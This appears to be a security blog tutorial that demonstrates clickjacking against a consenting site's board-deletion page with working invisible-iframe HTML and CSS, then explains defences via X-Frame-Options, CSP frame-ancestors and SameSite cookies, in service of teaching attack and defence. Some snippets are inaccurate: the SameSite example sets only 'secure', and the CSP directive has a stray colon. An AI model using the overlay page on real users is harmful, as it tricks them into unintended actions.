Clickjacking helps hackers trick victims into doing things without meaning to. We’re going to walk you through the attack step by step using a realistic example. But first, let’s start by describing the attack in abstract. So, suppose you want to trick the admin of a site into doing something. Like, say, delete a post on a social media site.
Here’s the plan: you load the social media site in an iframe. Then you make and iframe invisible. Underneath the iframe, you have fake content that the user will think they’re interacting with, when really, they’re performing actions in the social media site! Confused? Don’t worry, we’ll walk you through a real clickjacking attack right now!
At the end, we’ll also show you how webmasters and blue teamers can defend against this kind of attack. There are a few ways that blue teamers deal with this, so stick around til the end so you can learn them all!
Walking through a realistic attack
First things first, let’s pick a target. We’re going to use 13channel in this example because of three qualities of that site:
- It lacks protection from clickjacking.
- It’s a simple site that’s easy to exploit.
- The admin agreed to let us help them fix it.
Our goal is to trick the admin into deleting the /welcome/ board.
To make this attack happen, we need to see what the admin panel looks like, so we can load it correctly in our iframe. You can do that by downloading the software that 13channel uses: jschan.
Once you’ve installed jschan locally, you can see that the deletion panel for a board looks like this.
In other words, to delete this board via clickjacking, we first need to load an iframe with this URL: http://13channel.crabdance.com/welcome/manage/settings.html.
We’ll start with this as the code for our malicious page.
<iframe src=”http://13channel.crabdance.com/welcome/manage/settings.html”></iframe>
So far so good, now we’ll put something that looks harmless on top of it.
<style>
iframe {
position: absolute;
top: 0px;
left: 0px;
width: 300px;
height: 300px;
/* make the iframe invisible */
opacity: 0;
/* place it on "top" of the innocent content */
z-index: 2;
}
div {
position: absolute;
top: 0px;
left: 0px;
width: 300px;
height: 300px;
z-index: 1px;
}
</style>
<iframe src="http://13channel.crabdance.com/welcome/manage/settings.html"></iframe>
<div>
this is a test, please type "welcome" to verify you're not a bot...
<input type="text" />
<input type="button" value="Submit" />
</div>
Okay, the victim (13channel’s admin) will type into these inputs thinking they’re proving they aren’t a bot, when really, they are deleting the /welcome/ board!
Here’s how it looks:
In a pentest, we’d add more CSS to make this look more convincing, but as a proof of concept, this will suffice. Now it’s time for action! After typing the word welcome and pressing the submit button, let’s see what’s going on on 13channel…
The /welcome/ board doesn’t appear in the list of boards! If we try browsing straight to 13channel.crabdance.com/welcome we see this.
Gone! Now time for part II, helping 13channel prevent this attack so a bad guy can’t do it.
Preventing clickjacking on 13channel
The web server for 13channel uses Nginx, so we’ll just go into /etc/nginx/nginx.conf and add this line of code to the configuration.
add_header X-Frame-Options "sameorigin" always;
Voila! That line disallows third party domains from loading 13channel as an iframe, which prevents our clickjacking attack. Let’s see what happens now that we enabled this security header in the Nginx’s config file.
Firefox refuses to load the iframe! I tried it in Chrome as well, and received the same error (with slightly different wording). You can’t see the whole message in the screenshot above, but it says this:
Firefox Can’t Open This Page
To protect your security, 13channel.crabdance.com will not allow Firefox to display the page if another site has embedded it. To see this page, you need to open it in a new window.
The warning then links to Mozilla’s excellent docs on why this could happen: https://support.mozilla.org/en-US/kb/xframe-neterror-page.
More ways to prevent clickjacking
We’ve added the X-Frame-Options header to block clickjacking, now let’s beef up the security even further. Just in case an attacker somehow gets around that header, we can also prevent clickjacking via the Content Security Policy, or CSP. If you haven’t heard of a CSP before, check out our guide on how hackers bypass CSPs for cross-site scripting attacks: https://www.hackingloops.com/csp-vs-xss/.
Disabling clickjacking is as simple as adding this text to your site’s CSP: frame-ancestors: ‘none’. That’s it! It has the same effect as the X-Frame-Options header. The only advantage of X-Frame-Options is that there are old browsers that support it, and we want to protect those users.
So far, our security headers look like this:
X-Frame-Options: "sameorigin" always;
Content-Security-Policy: frame-ancestors 'none'
Easy peasy!
The SameSite cookie attribute
One final security tool blocks clickjacking: the SameSite cookie attribute. When a site sets SameSite: Strict in a cookie, the browser will only send the cookie if the request comes from the site itself – ie, not an API request, iframe, etc. This means that even if an attacker can load the iframe in their clickjacking page, it won’t matter because the auth cookie won’t also send, so the victim will be logged out!
Unlike the previous tools, this is not an HTTP header. Rather, we add it to the code that creates the cookie, like so (in Node.js):
sessionConfig.cookie.secure = true; // serve secure cookies
Not so hard, right? Well, we’ve added a lot of tools to save 13channel from the threat of clickjacking. But that’s just the start. A real security engineer would continue by adding things like the following:
- Regression tests to check all HTTP headers and cookies for secure attributes
- Middleware in the server to make all cookies secure
- A full CSP to prevent XSS and other browser-based attacks
And on, and on, and on. Do you see how blue team has an unending check list of things to consider, but the red teamer just has to find one hole and write a small snippet of code?
In the infosec world, we call that the attacker’s advantage, and clickjacking is no exception.
Learn more about clickjacking
Now that you’ve seen a basic example of this attack, you’re ready to move on to more complex versions. Here are some ways you can go further in your clickjacking learning journey.
- Check out bug bounty reports on HackerOne, like this one: https://hackerone.com/reports/405342.
- Write a script to scan websites for missing security headers.
- Read high quality learning resources like PortSwigger Academy.
I hope that you feel inspired to master this attack and add it to your pentesting repertoire. Happy hacking!
Leave a Reply